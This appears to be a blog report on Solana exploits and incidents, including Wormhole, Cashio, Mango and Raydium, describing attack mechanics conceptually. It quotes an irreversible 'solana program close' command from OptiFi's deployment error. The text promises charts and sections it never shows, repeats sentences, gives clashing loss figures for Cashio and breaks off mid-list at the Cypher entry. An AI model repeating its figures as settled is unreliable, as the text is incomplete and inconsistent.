History of Solana Security Incidents: A Deep Dive
Introduction
Since its 2020 launch, Solana has pushed blockchain speed and throughput to new heights — but not without security growing pains. From high-profile DeFi exploits (e.g. Wormhole’s $320M bridge hack) to network outages and novel supply-chain compromises, Solana’s journey offers a case study in balancing performance with robustness. This report chronologically examines all major Solana security incidents through April 2025, categorized by type: Application Layer Exploits, Supply Chain Attacks, Core Protocol Issues, Network-Level Vulnerabilities, and Novel Attack Vectors.
I detail each incident’s technical cause (with code references where available), timeline, impact (financial losses, wallets affected, token price reactions), response and remediation, root cause analysis, and lessons learned. I also include quantitative analyses — incident frequency over time, average time between incidents, total losses by category — and compare Solana’s security trajectory with other Layer-1s like Ethereum and Avalanche. The goal is an accessible yet comprehensive timeline of Solana’s security evolution for developers, researchers, investors, and the general public.
As shown above, Solana’s most turbulent period was 2021–2022 with frequent incidents, peaking in 2022 (multiple exploits and several network outages). By late 2023 and 2024, the time between incidents increased, indicating a maturing security posture. Total recorded losses from Solana-based exploits 2020–Apr 2025 exceeded $530M, overwhelmingly from DeFi application exploits, while core protocol and network issues, though disruptive, did not directly steal user funds. The heatmap below shows the concentration of financial losses in early 2022 and in the “Application” category:
Darker cells indicate higher losses in that period. Note the large losses from application-layer hacks in Q1–Q2 2022 (Wormhole, Cashio) and Q4 2022 (Mango). Core protocol and network issues caused downtime but no direct fund loss.
In the sections that follow, we break down incidents by category (Application Exploits, Supply Chain, Core Protocol, Network, Novel vectors) in roughly chronological order, providing in-depth analysis of each event. We then conclude with cross-incident metrics (frequency, MTTR, etc.), Solana’s security improvements (bug bounties, new validator client), and a brief comparison with Ethereum, Avalanche, and others.
Application Layer Exploits (Smart Contract and DeFi Hacks)
Application-layer exploits target Solana programs (smart contracts) such as DeFi protocols, bridges, and on-chain governance. These exploits have been the costliest in terms of funds stolen, often due to logic bugs or economic design flaws in smart contracts. Below is a chronological review of major Solana application exploits and vulnerabilities:
Solend Auth Bypass Attempt — August 19, 2021
Incident
A hacker attempted to exploit Solend, a lending protocol on Solana, by abusing an insecure authorization check in an admin function. On August 19, 2021 at 12:40 GMT, the attacker invoked Solend’s UpdateReserveConfig() with malicious parameters. They succeeded in changing risk parameters: making nearly all lending accounts liquidatable and setting borrow APY to 250%. This would have allowed the attacker to liquidate healthy loans for profit and collect outsized fees.
Technical Details
According to the SLND-INCDT-01 Report by Solend security auditor, the attacker (5ELHytHM4cvKUPCWX8HPwkwtw3J866Wtexdpo8PPxp2u) submitted a total of 10 transactions: 9 to the Solend program address (So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo) and one to Port Finance’s program address (Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR) which failed. Port is a competing lending protocol believed to be running similar code, though this couldn’t be verified due to Port being closed source.
The attacker’s wallet was funded by what appears to be an exchange wallet (2ojv9BAiHUrvsm9gxDe7fJSzbNZSJcxZvf8dqmWGHG8S).
First, the attacker created a new Lending Market. Next, they updated the configs for USDC, SOL, ETH, and BTC reserves.
Most notable config changes and their effects were:
The attacker clearly intended to steal funds by wrongfully liquidating accounts with an outsized bonus. Approximately $2M was at risk.
No liquidations occurred except by Solend’s own liquidator bot. The attacker’s attempts to liquidate didn’t work. By default on Solana, transactions are simulated locally and never sent to validators if the simulation fails, so there’s no record of potential failed liquidation attempts.
Root Cause
The attacker was able to UpdateReserveConfig() by using a newly created Lending Market to subvert an authentication check.
The code checks were insufficient because the attacker could pass in an arbitrary Lending Market created and owned by them. The fix involved adding a check that the ConfigAuthority account must sign the transaction.
Impact
No funds were stolen, fortunately. However, five users had positions improperly liquidated before the attack was stopped. These users were refunded out of the liquidator’s undue earnings (16K USD). The platform and community funds were spared any theft. This quick interception prevented what could have been multi-million dollar losses at the time.
Response
Solend’s developers responded swiftly. According to the team’s report, they spotted the anomalous parameter changes within 41 minutes and mitigated the issue 29 minutes later. Within ~1h38m from detection, a code patch was deployed to fix the broken authentication check.
Solend announced the incident publicly the next day and reassuring that “no funds were stolen.” They also promised to increase their bug bounty size and build better monitoring and alerting services.
The Port Finance team was privately notified about these events, given the chance the attacker might try the exploit on them as well.
Remediation
The Solend team patched the contract to enforce that only the authorized owner can call UpdateReserveConfig().
The fix was quickly reviewed by auditors. Moving forward, Solend underwent additional audits. This incident, occurring when Solana DeFi was still young, served as a wake-up call to tighten admin privilege checks across Solana.
Lesson Learned
Even “minor” admin functions can be critical. Solend learned to implement rigorous authentication on all instructions. The successful defense (no major funds lost) demonstrated the value of real-time monitoring — the team noticed unusual config changes on-chain and reacted quickly.
This incident set a precedent for transparency in Solana security events. The community learned that Solana itself wasn’t at fault (the bug was in dApp logic), underscoring dApp developers’ shared responsibility for security.
In response to this and later incidents, Solend built and open-sourced Brick, a ready-to-deploy program that can quickly freeze functionality in emergency situations.
Wormhole Bridge Hack — February 2, 2022
Incident
On February 2, 2022, Solana experienced one of the largest DeFi hacks in history: the Wormhole bridge exploit. An attacker (CxegPrfn2ge5dNiQberUrQJkHCcimeR4VXkeawcFBBka) minted 120,000 wrapped Ether (wETH) on Solana (worth ~$320 million at the time) without providing real ETH, then bridged some to Ethereum (0x629e7Da20197a5429d30da36E77d06CdF796b71A).
This was a signature verification bug — the attacker bypassed Wormhole’s guardian validation, effectively tricking the bridge into minting unbacked tokens. Wormhole lost all ETH backing for wETH on Solana. In an unprecedented move, Wormhole’s parent company Jump Trading stepped in with $320M of their own funds to replace the stolen ETH the next day, making users whole.
Technical Details
Wormhole is a cross-chain bridge where a set of guardians sign messages attesting to token lockups on one chain, to mint wrapped tokens on another. The attacker found a vulnerability in Wormhole’s Solana program: it failed to properly validate the guardian signatures for a cross-chain transfer. Specifically, the Wormhole Solana contract trusted an address for the special “sysvar instruction” account without verifying it was the real sysvar.
The attacker “injected a fake sysvar account” into the transaction. In a regular verify_signature transaction, the fourth input parameter should contain “Sysvar: Instructions” (the alias for the program that checks signatures). In the hacker’s transaction, this parameter contained the hacker’s supplied program address instead.
During the execution of the verify_signatures method, the hacker managed to substitute the “Sysvar: Instructions” address with his own supplied address
With signature checks bypassed, the attacker called the bridge’s complete_wrapped function to mint 120k wETH out of thin air.
The bug was reportedly known and a patch was in progress — a fix was on Wormhole’s GitHub but not yet deployed to mainnet, giving the hacker a critical window to strike.
Root Cause
The core issue was a missing verification of account identity combined with the flexibility of Solana’s runtime. On Solana, programs can be passed arbitrary accounts — Wormhole’s code failed to ensure the sysvar_instructionaccount was the genuine one (which is a known security pitfall — using a fake sysvar is a common attack vector). In effect, one line of code (a signature validation) was bypassed, a classic example of a check-then-use flaw.
This is somewhat analogous to earlier hacks on Ethereum sidechains/bridges where signature checks were incomplete (e.g., Poly Network hack).
Impact
This was Solana’s largest exploit to date — $320M in value. It caused an immediate crisis of confidence in Solana DeFi bridges. The price of SOL dropped ~10% within 24 hours of the hack, reflecting trader concern over ecosystem security. The exploit highlighted serious trust assumptions in bridges.
The stolen ETH remained in the hacker’s wallets (the attacker attempted some DeFi moves months later, and in February 2023 white-hat hackers counter-exploited the hacker’s Oasis vault to recover ~$225M of the ETH).
READ THE FULL ARTICLE BY BLOCKWORKS
Response
Wormhole’s team noticed the irregular mint almost immediately — they tweeted on February 2 that the network was “experiencing an exploit” and took the bridge offline. Within hours, they offered a 10M bounty to the hacker (who did not respond).
By the next day (February 3), Jump Crypto announced it had replaced the 120k ETH to “restore integrity of the bridge”.
The Wormhole Solana contract was patched to fix the signature verification (ensuring only the real sysvar and guardian set could be used). The bridge was back up by February 3 after redeployment and tests. This swift remediation (less than 24h) prevented contagion.
Wormhole published a detailed incident report and worked with auditors to double-check the fix. Notably, Jump’s bailout preserved user trust, preventing a collapse of Solana’s DeFi TVL that could have resulted if wETH remained unbacked.
Remediation
The Wormhole program was updated to strictly verify guardian signatures via the expected sysvar and to reject any injected accounts. The patched code was deployed and audited. Additionally, guardians (a set of validators for Wormhole) likely tightened their off-chain signature processes.
Wormhole implemented a bug bounty up to on Immunefi post-hack.
Lessons Learned
The Wormhole hack underscored that bridges are prime targets and that a single vulnerability can have system-wide impact. For Solana developers, it was a caution about Solana-specific checks.
The incident also demonstrated the importance of rapid response and deep pockets — Jump’s rescue prevented an exodus of users and possibly saved Solana from a deeper slump. Going forward, the Solana ecosystem placed greater emphasis on formal audits of critical programs. The concept of “trustless bridges” gained urgency, since Wormhole’s semi-trusted model failed.
Finally, the hack proved that even audited code can hide tiny mistakes with enormous consequences, reinforcing a culture of “assume nothing, double-check everything” in Solana development and audit communities.
Cashio “Infinite Mint” Exploit — March 23, 2022
Incident
In March 2022, Cashio, a decentralized stablecoin backed by interest-bearing Saber USD liquidity provider tokens, was exploited for ~$50 million.
The attacker discovered a flaw that let them mint unlimited CASH stablecoins without proper collateral. They proceeded to mint roughly 2 billion CASH, then redeemed and swapped out as much as they could — draining Cashio’s liquidity pools entirely.
Cashio’s stablecoin CASH became worthless overnight. This was an application logic failure — Cashio failed to validate the authenticity of a collateral account, allowing a classic “fake collateral” attack.
Technical Details
The attacker exploited a flaw in the collateral verification design: Cashio used Saber LP and Arrow Protocol as collateral, and the mint field on the Arrow account was not validated. A user deposits collateral to mint CASH tokens, and if the user’s collateral deposit passes a series of validating token checks, it would be deposited into an account owned by the protocol.
First, the attacker (6D7fgzpPZXtDB6Zqg3xRwfbohzerbytB2U5pFchnVuzw) minted two completely bogus tokens and used them to create a fake liquidity pool. From that pool they pulled out “LP tokens” (GoSK6XvdKquQwVYokYz8sKhFgkJAYwjq4i8ttjeukBmp), which had no real backing value.
Next, they turned to the Arrow lending program. Using its init_arrow_vendor_miner() call, they set up a malicious Arrow account.
Then, via deposit_vendor(), they deposited 2 billion of those worthless LP tokens and — because the program blindly trusted any deposited LP token — minted 2 billion collateral tokens (GCnK63zpqfGwpmikGBWRSMJLGLW8dsW97N4VAXKaUSSC).
Finally, with their newly minted GCnK collateral in place, they invoked the Arrow program’s “print cash” instruction. That let them borrow 2 billion CASH tokens against the fake collateral.
To turn it into real money, they sent those CASH tokens through Saber, swapping them for UST and USDC.
A look intoo the attacker’s balance change in total, the Cashio App exploit resulted in roughly $52 million in stolen funds due to a vulnerability in the collateral verification design.
Root Cause
The coding mistake prevented the verification that the banking token and the minted token matched. The attacker was able to create actual CASH tokens from valueless tokens. By depositing valueless collateral, the attacker drained value from the protocol and created CASH tokens. The missing validation code led to an attack that cost $52.8 million in lost assets. The funds were transferred to Ethereum via Wormhole and Paraswap.
Impact
About $50 million in value was siphoned from Cashio’s liquidity pools, crashing the CASH stablecoin to zero once its backing was drained. Users holding CASH or providing LPs in the affected pools saw their positions wiped out; fortunately, broader Solana DeFi wasn’t seriously hit since CASH was mostly isolated.
The attacker laundered proceeds through Terra’s UST (earning about $8.6 million in UST that later went to zero when Terra collapsed in May 2022) and bridged roughly $34 million in stablecoins over to Ethereum.
In total, 3,636 users were impacted and submitted 280 claims (220 of which qualified for ~95% refunds). Across all Solana accounts, $77.2 million was stolen — $3.99 million of that refunded on-chain and $14.4 million refunded on Ethereum — leaving net losses of $58.8 million.
Focusing just on those who filed claims, $39.7 million was lost, $0.71 million refunded on Solana and $14.4 million on Ethereum, for net claim losses of $24.6 million. Immediately after discovery, the Cashio team warned everyone to stop trading CASH, since it had become entirely unbacked.
Response
Cashio paused operations and notified the public via Twitter on March 23, 2022. They acknowledged the “infinite mint glitch” and asked for help tracking funds. There was no recovery for liquidity providers, as the attacker did not return funds.
On March 28th, 2022, a few days after the attack, the hacker issued an alert suggesting that affected Cashio users could reclaim their cash if they could justify the origin of the assets and why they should be returned.
The hacker stated that no money would be returned to rich people who did not specifically require it. The impacted individuals were able to present their case on a website created by a community member in the format desired by the hacker.
Remediation
The amount of loss was so damaging that the small team of developers had no other option than to help members of the community with less than $100k to recover their funds from the exploiter, as requested by the hacker.
The Cashio App project had a strong social media presence in early 2022 and were active on Twitter, Discord, Medium, and their project website. Most of these channels have slowed down, with most of the activity referencing the attack and returning users funds.
In June 2022, Cashio App announced plans on Medium for a new protocol to help raise funds for victims and expand the Saber ecosystem. The Cashio App team has not been active on social media platforms since this announcement. It is currently unclear if the team is following through with their plans to build a new protocol.
Lessons Learned
Don’t trust, verify — especially with minting. Cashio taught Solana devs that any external account input must be treated as untrusted. The exploit was straightforward (no Solana-specific arcana, just a failure to enforce business logic) — a reminder that basic invariants (like “only accept our LP token as collateral”) must be coded explicitly. It also highlighted the need for auditing new stablecoin designs.
Community-wise, it fostered skepticism of under-audited stable projects and reinforced relying on battle-tested stablecoins. From a security perspective, this was a Solana instance of the classic “infinite mint” hack category (like Ethereum’s 2020 Lien protocol hack) — demonstrating Solana smart contracts are susceptible to similar logic flaws as Ethereum contracts.
Crema Finance Flash-Loan Exploit — July 2, 2022
Incident
In early July 2022, Crema Finance, a concentrated liquidity AMM on Solana (similar to Uniswap v3), was hacked via a complex flash-loan attack. The attacker manipulated Crema’s price tick account and leveraged a Solend flash loan to steal about $8.8M worth of crypto.
This exploit combined faulty account ownership checks with flash-loan amplified price manipulation. The hacker then negotiated with Crema and returned most funds, keeping a portion as a “bounty.”
Technical Details
Crema’s concentrated liquidity pools rely on “tick accounts” to track price ranges. The attacker ( Esmx2QjmDZMjJ15yBJ2nhqisjEt7Gqro4jSkofdoVsvY) managed to forge a tick account to make it seem as if they were due protocol fees they weren’t.
The attacker deployed a smart contract that bypassed Crema’s normal checks on tick accounts by writing the initialized tick address of the pool into the fake account
They used a Solend flash loan to borrow a large amount of liquidity, manipulated the pool state via the fake tick account to accrue fees, and then withdrew those “fees” from the pool, ending the flash loan cycle.
The sequence was highly technical: the attacker created a fake liquidity position, injected a flash loan to generate a large swap that would normally produce trading fees, but by controlling the tick account data they claimed an outsized rebate of liquidity.
They then withdrew these ill-gotten fee rewards. This happened in one atomic transaction with borrowed funds, so neither party had to have all the capital up front (the flash loan was returned at the end).
Root Cause
The vulnerability lay in inadequate validation of tick accounts — Essentially, Crema did not properly authenticate the tick account’s origin, allowing the attacker’s contract to masquerade as a legitimate part of the pool.
This is somewhat specific to concentrated liquidity design, but broadly it’s an account identity/authenticity issue, much like the Wormhole bug (though on a smaller scale). The flash loan was merely the tool to exploit it at scale quickly.
Impact
Crema lost ~$8.8 million in various tokens. The platform paused and notified users.
On July 6, the team announced the hacker returned funds after receiving an offer (they had offered an 800k bounty; the hacker negotiated to keep ~$1.6M in SOL). — 1st ETH txn , 2nd ETH txn , 1st SOL txn , 2nd SOL txn
Thus, users eventually recovered about 90%+ of funds, a relatively positive outcome. The exploit did cause a temporary pool imbalance and spooked liquidity providers; however, the quick resolution limited long-term damage. This incident and its resolution via “white-hat” negotiation became more common in 2022 (similar to Fei & Rari Protocol, Aurora Protocol exploits, etc.).
Response
Crema’s team promptly suspended the smart contract and coordinated with Solana security firms (OtterSec and others) to analyze the exploit. They identified the bug within days, while also reaching out to the hacker via on-chain messages and Twitter.
Remediation
Crema Finance deployed a new contract audited by Slowmist , while he old contract become obsolete in 2023.
Lessons Learned
Crema’s exploit reinforced that flash loans + weak checks = disaster. Flash loans mean attackers can mount large-scale attacks with zero upfront capital, so any slight logic error can be amplified to maximum effect.
The event also showed the evolving “culture of negotiation” — rather than immediately laundering funds, the hacker was open to returning value for a safe bounty.
Nirvana Finance Flash-Loan Attack — July 28, 2022
Incident
Later in July 2022, Nirvana Finance, a yield optimization protocol with an algorithmic stablecoin NIRV and an investment token ANA, was hit by a flash-loan attack. The hacker exploited a flaw in Nirvana’s price calculation, stealing $3.5M and causing ANA’s price to plunge ~80% while NIRV lost its USD peg (↓92%).
Nirvana’s mechanism of guaranteeing a floor price for ANA was broken by the attack, draining the treasury that backed NIRV. This was an economic design exploit leveraging a coding bug — effectively a flash loan price manipulation like a “pseudo oracle exploit.”
Technical Details
Nirvana’s protocol maintained a treasury to back its NIRV stablecoin and to set a rising floor price for ANA (to incentivize holding). The attacker (76w4SBe2of2wWUsx2FjkkwD29rRznfvEkBa1upSbTAWH) borrowed $10,250,000 USDC from the Solend Protocol and spent it to purchase $ANA.
The attacker then manipulated the price of $ANA from $8 to $24 by issuing the Buy command in the contract.
Using the inflated price, they exchanged $ANA for ~$3,490,563 USDT from the Nirvana treasury and returned the remainder to USDC.
The attacker was able to refund the $10,250,000 USDC flash loan to the Solend Protocol while keeping the remainder.
The attacker was able to refund the $10,250,000 USDC flash loan to the Solend Protocol while keeping the remainder. The attacker converted the full USDT amount into USDC, transferring the funds into an ETH account (0xB9AE2624Ab08661F010185d72Dd506E199E67C09) through Wormhole.
Root Cause
Nirvana’s exploit was a classic flash-loan-assisted oracle manipulation. The root vulnerability was that Nirvana’s pricing mechanism for ANA did not use an external, tamper-proof price oracle — it relied on its internal bonding curve/treasury value, which could be manipulated by sudden large trades.
The economic design assumed gradual price changes, but the flash loan broke that assumption. It’s akin to the Mango Markets exploit (which would happen a few months later on a larger scale) — both involved using two accounts and large capital to manipulate price and borrow/redeem value. The difference: Mango’s oracle was external (but the market was thin), while Nirvana’s “oracle” was its own contract logic.
In Nirvana’s case, there may also have been a specific bug in how the contract updated the ANA floor price (e.g., not capping how much it can rise per transaction). A more resilient design or a time-weighted average price check could have prevented such instant jumps.
Impact
Nirvana’s stablecoin NIRV plummeted from $1 to ~$0.08, and its ANA token lost 85%+ of value, wrecking investor confidence.
About $3.5 million was stolen from Nirvana’s reserves — those reserves directly correspond to user funds backing NIRV, so effectively the community of NIRV holders and ANA investors lost that amount. The exploit wiped out Nirvana’s ability to function; it was a fatal blow to the protocol.
Users holding NIRV or ANA were left with tokens of negligible value. No recovery or bounty negotiation occurred in this case; the attacker disappeared with the money.
Response
Nirvana’s team confirmed the hack on July 28 and halted operations. They identified that the “rising floor price” algorithm had been exploited and acknowledged the loss of funds.
They even offered the hacker a bounty for return (appealing to the attacker’s “better nature”), but none was returned. In the aftermath, Solana community members like the Solend team stepped in to explore assisting Nirvana (since Solend’s flash loan was involved, Solend felt partially invested in a resolution).
However, with the treasury drained, Nirvana could not restore value to NIRV or ANA. The team eventually shut down the protocol but relaunched in 2025 and focused on investigating and collaborating with law enforcement, which led to the apprehension of Shakeeb Ahmed, a security engineer in 2023 who was also linked to the Crema Finance exploit.
Remediation
With Nirvana effectively defunct, direct remediation was moot. However, the incident’s findings likely influenced other algorithmic design teams. For instance, protocols with bonding curves or rebase mechanisms took note to incorporate circuit breakers (limits on price movement within one block or due to one address).
Flash loan safeguards — like requiring multi-block time-weighted prices or a cool-down period for large mint/redemption — became more common recommendations in Solana audits.
Lessons Learned
Nirvana’s collapse reinforced that economic security is as important as technical security. A contract can be bug-free in code but still exploitable economically if the incentives and mechanisms allow manipulation. Flash loans make any on-chain pricing mechanism without external or rate-limited oracles very dangerous. The incident is often cited alongside Mango as Solana’s examples of market manipulation exploits.
It taught DeFi builders to integrate robust oracle systems (like Pyth or Switchboard on Solana) and to put limits on single-transaction impacts (e.g., max % of treasury that can be redeemed in one block). For users and investors, it was another reminder of the risks of unbacked or algorithmic stablecoins — a theme tragically underscored by Terra’s failure shortly before.
OptiFi Operation Mistake — August 29,2022
Incident
OptiFi, a decentralized options exchange on Solana blockchain, inadvertently disabled its mainnet service with a misunderstood command and locked up some $661,000 worth of USDC, 95% of which was owned by team members.
The assets cannot be recovered, so the plan was to manually refund affected users.
Technical Details
According to the OptiFi Incident Report, on August 29 around 06:00 UTC, the team had an update to their Solana program code, so their deployer tried to upgrade the OptiFi program on Solana mainnet.
However, they accidentally used the ‘solana program close’ command, resulting in the OptiFi program on mainnet being unfortunately closed.
All user funds and open positions on OptiFi were locked in PDAs, $661K in total (AMM vault, user accounts, etc.) and it was not recoverable at the time of writing.
Root Cause
When OptiFi’s team first ran anchor deploy on mainnet at 06:00 UTC on August 29, network congestion caused the transaction to stall—and when they aborted it with Ctrl+C, a brand-new buffer account quietly swallowed 17.20 SOL. Their wallet still showed about 14.97 SOL, but the rest had already been provisioned for deployment.
Hoping to recover those funds without knowing the buffer’s public key, they attempted a partial close with:
solana program close \
--recipient DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M \
--authority ~/solana-keys/DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M.jsonUnsurprisingly, it failed — because the --buffers flag (and its list of buffer IDs) was missing.
Remembering that on devnet they’d reclaimed buffer SOL by closing the entire program, they ran:
solana program close \
optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B \
--recipient DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M \
--authority ~/solana-keys/DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M.jsonIn just seven minutes, they successfully recovered roughly 43.39 SOL — but unintentionally “closed” the OptiFi program itself.
When they tried to deploy again, Anchor immediately rejected their Program ID:
Error: Program optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B has been closed, use a new Program IdThat’s because solana program close doesn't just empty buffer accounts—it permanently unlinks that Program ID. From that moment on, it was gone from the network's registry, and OptiFi had to generate a fresh ID before any future deployments.
All Accounts From OptiFi Incidence Report
When the OptiFi program (optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B) was closed:
All on-chain state became immutable. Every margin account (USDC + option tokens) and AMM vault (USDC) lives under PDAs tied to that Program ID — so they’re now permanently frozen in place.
Over US$661,000 of USDC is locked. DeFi Llama reports roughly 661,000 USDC in TVL that users can no longer withdraw or interact with.
Response
They promised that they would return all users’ deposits and settle all user positions manually according to Pyth oracle at 8 AM Sep 2nd UTC. All transactions and deposits would be based on Solscan.
Remediation
According to OptiFi Incident Report
From now on, every deployment will involve three team members who jointly verify network health, account balances, and exact CLI commands — logging each command and its output — and immediately pause for group review if anything looks off.
We’ll isolate all AMM USDC vaults and margin‑account PDAs into a separate program so user funds remain accessible even if the core program must be closed.
Finally, we’ll push Solana to warn in its docs that
solana program closeis irreversible and build a two‑step “Are you sure you really want to close?” prompt into the CLI.
Lessons Learned
Every deployment needs a rigorous process, and single point failures can be avoided through proper review procedures and safeguards. This incident highlighted the importance of understanding CLI commands thoroughly and implementing multi-person verification for critical operations.
Mango Markets Manipulation — October 11, 2022
Incident
One of Solana’s most notorious incidents, the Mango Markets exploit, took place on October 11, 2022. Mango, a popular decentralized exchange and lending platform, lost approximately $116 million in customer funds when an attacker orchestrated an oracle price manipulation attack.
Using two accounts funded with stablecoins, the attacker inflated the price of MNGO (Mango’s governance token) by 30x within minutes, then borrowed against that artificially high collateral to drain all liquidity from Mango’s lending pools.
Uniquely, the attacker (Avraham Eisenberg) then publicly identified himself as a “profitable trader” and negotiated a settlement via Mango’s governance forum. Ultimately, about $67M was returned, and Mango users took a substantial haircut on the remainder. This incident blurred the lines between a hack and a savvy (if unethical) trading strategy exploiting protocol design.
Technical Details
Mango relied on its own order-book DEX and an oracle that drew prices from that DEX and a few exchanges. Mango’s MNGO token was thinly traded and had low liquidity.
The attacker — yUJw9a2PyoqKkH47i4yEGf4WXomSHMiK7Lp29Xs2NqM first funded two wallets Account A and Account B with $5,000,000 USDC each on Mango:
Account A then placed a sell offer totaling 483 million $MNGO perpetual futures at 3.8 cents per future.
Account B then purchased all 483 million $MNGO perpetual futures from Account A at a price of $0.0382 per unit.
The attacker then started started to move the price of MNGO spot market, it traded as high as $0.91.
At MNGO/USD price of $0.91 per unit, Account B was in the money by 483 million MNGO* ($0.91 — $0.03298) = $423 millon. That was enough unrealized P&L to take out a loan of $116mm across multiple tokens, which then left Mango and left the protocol at a deficit.
Root Cause
The root issue was overreliance on a thinly traded collateral with no circuit-breakers. Mango’s risk parameters were too lax — they treated MNGO as a valid high-quality collateral and allowed 100% of its value to be borrowed.
Additionally, the oracle design (using its own DEX price) was not manipulation-resistant. Unlike more robust oracles (which take median of many exchanges or have update frequency limits), Mango’s price could be moved with relatively little capital.
This is similar in nature to earlier pump-and-dump lending exploits (e.g., Cream Finance’s 2021 exploit on low-liquidity tokens). A comparative root cause is “lack of price sanity checks” — something protocols like Aave have (Aave would reject such a spike as an outlier). Mango had neither an emergency breaker nor an independent oracle (like Pyth) for MNGO.
Impact
Mango Markets became insolvent — roughly $116 million was siphoned. All users with deposits could not withdraw as liquidity was gone.
Mango’s MNGO token itself crashed ~75% immediately. The platform halted. This incident underscored oracle risks and how a single actor could dominate a supposedly decentralized platform.
Response
Right after the attack, Mango’s team froze the program and disabled deposits. They quickly identified the root cause (oracle manipulation) and engaged with the attacker via the governance forum.
In an unusual community poll, Mango token holders (with the attacker likely holding a majority) voted to allow the attacker to keep $47M if they returned the rest.
The team used the returned funds plus remaining treasury to reimburse users to an extent — by October 15, users could reclaim some of their deposits (ultimately, users got ~$0.55 on the dollar).
It’s worth noting that Mango’s attacker was later arrested by U.S. authorities in December 2022, as the exploit was deemed fraud. Legally, it set a precedent that such manipulation is viewed as a crime despite the attacker’s claims of “legal open market actions.”
Remediation
Mango’s team took responsibility and focusing on compensation , legal follow-up and fixes.
In terms of fixes: They impose Deposit/borrow limits make it so a malicious users can’t manipulate vaults for their benefit
They also made sure that Unsettled PNL is not collateral unless settled. If this PNL is unsettled, the gains or losses haven’t been realized yet.
Also, integrating a robust oracle source using Pyth & Switchboard prices with smoothing or requiring longer-time price validity.
Lessons Learned
Oracles and Market Depth: DeFi platforms must account for liquidity. Relying on a single exchange’s order book (especially your own) for price can be fatal. Integrating robust oracle infrastructure is non-negotiable.
Risk Controls: Collateral factors should be conservative for low-cap tokens. Protocols learned to simulate flash loan scenarios and set borrowing caps and deposit limits for each asset.
The exploit served as a catalyst for improved risk management in Solana DeFi — introducing ideas like capped open interest, price TWAP (time-weighted average price) for oracle feeds, and governance attack prevention (e.g., pausing governance abilities for recently acquired tokens).
In summary, Mango’s exploit falls under Novel Attack Vectors, given the governance twist. It showcased the sophistication of attackers and the need for equally sophisticated defense mechanisms in protocol design, beyond just code correctness.
Raydium DEX Liquidity Pool Hack — December 16, 2022
Incident
In December 2022, Raydium, one of Solana’s largest DEXs (AMM protocol), suffered a hack resulting in $4.4M drained from its liquidity pools.
This was not a traditional smart contract bug, but rather a compromise of the pool admin account’s private key.
The attacker gained “god mode” access to Raydium’s liquidity pools, using the admin authority to withdraw fees from all pools far in excess of normal amounts.
Essentially, a hacker stole the admin private key (likely via a trojan on a developer’s machine) and then abused an existing admin function in the smart contracts.
Technical Details
Raydium’s liquidity pools have an “owner” or admin authority (to enable certain controls like adjusting fees or recovering stuck funds).
On Dec 16, 2022, at 10:12 UTC, a malicious actor began an exploit on the Raydium Liquidity Pool V4’s authority account by gaining access to the Pool Owner (Admin) account.
According to OtterSec Analysis
The attacker is repeatedly invoking the withdraw_pnl instruction to withdraw fees from Raydium pools.
The signer on these transactions is `HggGrUeg4ReGvpPMLJMFKV69NTXL1r4wQ9Pk9Ljutwyv`, the hardcoded owner pubkey from the Raydium contracts. In other words, the root cause is probably a private key compromise.
Root Cause
This was fundamentally a private key management failure. The immediate blockchain vulnerability was that the contract allowed an admin to withdraw more fees than actually accumulated (a logical oversight), but that function would normally only be callable by the trusted key.
The withdrawPNL instruction is used to collect protocol fees for RAY buybacks and is based on a predefined amount of assets determined by need_take_pc and need_take_coin, which should be equivalent to 12% of total pool fees or 3bps of the 25bps earned from swap transactions.
The perpetrator used a couple of instructions to inflate the balances for need_take_pc and need_take_coin without requiring any trading volume, allowing them to change and increase the expected fees and then repeatedly withdraw funds from the pool vault via withdrawPNL.
Impact
Approximately $4.4M of liquidity provider (LP) funds were stolen from various Raydium pools. LPs who provided tokens to Raydium found a portion of their funds missing (taken as “fees” by the attacker).
The team has released the full transaction history as well as the amount of funds lost to the exploiter.
This was one of the first major Solana key-compromise exploits, highlighting a different vector compared to typical contract bugs. It also coincided with broader concerns post-FTX collapse about key management (Serum DEX had a similar key risk, though no hack occurred there; it was proactively mitigated by forking Serum to OpenBook).
Response
Raydium was proactive and transparent. On December 16, they immediately announced the exploit and froze the admin key (they fortunately had the ability to revoke the old key or at least stop further admin actions). They coordinated with Solana validators and exchanges to track and potentially freeze stolen funds (though much of it was laundered through Ethereum via Tornado Cash).
Within days, Raydium published a detailed post-mortem on Medium on Medium and put forth a compensation proposal which was passed. By early 2023, LPs were reimbursed partly from Raydium’s own reserves and partly from a DAO treasury allocation.
By early 2023, LPs were reimbursed partly from Raydium’s own reserves and partly from a DAO treasury allocation.
The team also requested the attacker to return the exploited funds, offering 10% as a white-hat bug bounty.
Remediation
Raydium’s team moved to a multisig for admin control — no single key will have unilateral ability to drain funds. They also likely added a contract upgrade that hard-caps fee withdrawal amounts to the correct formula, so even a future key compromise couldn’t withdraw liquidity itself.
Many Solana projects took note and migrated to multisigs (via programs like Squads) for upgrade and admin keys.
Lessons Learned
Raydium’s hack highlighted operational security: even if your smart contracts are secure, an admin wallet hack can undo everything. Projects learned to eliminate or strictly limit admin powers in deployed contracts (favor immutable code or timelocked governance control).
If admin functionality is necessary (for upgrades or emergencies), then use multisig and 2FA/YubiKeys for key management. For users, it was a reminder that even high-TVL platforms carry smart contract and admin key risk, something not always evident.
This also falls under Supply Chain Attacks, broadly speaking, since an external compromise (trojan) infiltrated the project’s “supply chain” (the development environment). In summary, the Raydium hack taught Solana DeFi to treat private keys with the same care as production code, and to design contracts that minimize the impact of a key compromise (e.g., withdrawal rate limits or multi-sig confirmations for large actions).
Cypher Protocol Exploit — August 7, 2023
Incident
In August 2023, Cypher Protocol, a Solana-based decentralized futures and lending platform, was exploited for roughly $1 million. The team immediately froze the smart contract, and over the following weeks.
The exploit initially appeared to be a typical DeFi hack (funds drained via a smart contract bug).
Technical Details
The attacker tricked the system by exploiting an inconsistency between what’s real and what’s cached, and because the price volatility system wasn’t active, the checks were ineffective — letting them borrow more than they should’ve been allowed to.
The attack followed these steps:
